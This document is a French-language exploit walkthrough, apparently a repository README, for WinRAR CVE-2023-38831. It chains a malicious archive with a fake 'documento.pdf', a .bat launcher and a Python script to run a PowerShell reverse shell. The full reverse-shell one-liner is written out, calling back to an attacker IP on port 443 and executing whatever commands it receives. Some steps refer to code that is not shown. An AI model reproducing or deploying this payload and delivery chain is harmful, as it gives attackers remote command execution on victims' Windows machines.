
Étapes nécessaires pour obtenir un reverse shell en exploitant la vulnérabilité de winrar CVE-2023-38831 dans les versions antérieures à 6.23.
Dans ce dépôt, nous allons exploiter la vulnérabilité CVE-2023-38831 de winrar afin d'obtenir un reverse shell depuis la machine victime Windows vers la machine attaquante Kali Linux.
Nous téléchargeons le contenu de ce dépôt :

Ensuite, nous devons installer les dépendances Python nécessaires pour exploiter cette vulnérabilité avec les commandes suivantes :
pip install rarce

Nous allons exécuter un code malveillant qui nous fournit un reverse shell, provenant du site revshells.com (en fournissant l'IP et le port de l'attaquant correspondant) :

$LHOST = "192.168.0.36"; $LPORT = 443; $TCPClient = New-Object Net.Sockets.TCPClient($LHOST, $LPORT); $NetworkStream = $TCPClient.GetStream(); $StreamReader = New-Object IO.StreamReader($NetworkStream); $StreamWriter = New-Object IO.StreamWriter($NetworkStream); $StreamWriter.AutoFlush = $true; $Buffer = New-Object System.Byte[] 1024; while ($TCPClient.Connected) { while ($NetworkStream.DataAvailable) { $RawData = $NetworkStream.Read($Buffer, 0, $Buffer.Length); $Code = ([text.encoding]::UTF8).GetString($Buffer, 0, $RawData -1) }; if ($TCPClient.Connected -and $Code.Length -gt 1) { $Output = try { Invoke-Expression ($Code) 2>&1 } catch { $_ }; $StreamWriter.Write("$Output`n"); $Code = $null } }; $TCPClient.Close(); $NetworkStream.Close(); $StreamReader.Close(); $StreamWriter.Close()
Ce code PowerShell, nous le sauvegardons dans un fichier .ps1 (il sera exécuté par la suite) :

Une fois le code obtenu en ps1 pour obtenir le reverse shell, nous créons un fichier Python qui, à l'aide de la bibliothèque os, se charge d'exécuter le fichier .ps1 :

Ensuite, nous créons un .bat avec le code suivant :

rem Ruta al ejecutable de Python
set PYTHON_EXECUTABLE=python.exe
rem Ruta al script de Python que deseas ejecutar
set PYTHON_SCRIPT=pwned.py
rem Ejecutar el script de Python
%PYTHON_EXECUTABLE% %PYTHON_SCRIPT%
rem Pausa para que puedas ver la salida antes de que se cierre la ventana
pause
À ce stade, nous devons créer le winrar malveillant :

Nous exécutons le fichier documento.pdf à l'intérieur du .rar :


Enfin, si nous restons à l'écoute avec netcat depuis une machine attaquante, nous aurons reçu le reverse shell :

Si nous ne pouvons pas exécuter de commandes PowerShell, il est nécessaire d'activer l'exécution de scripts sur notre système :


Nous l'activons :

Et nous exécutons la commande suivante :
Set-ExecutionPolicy RemoteSigned -Scope CurrentUser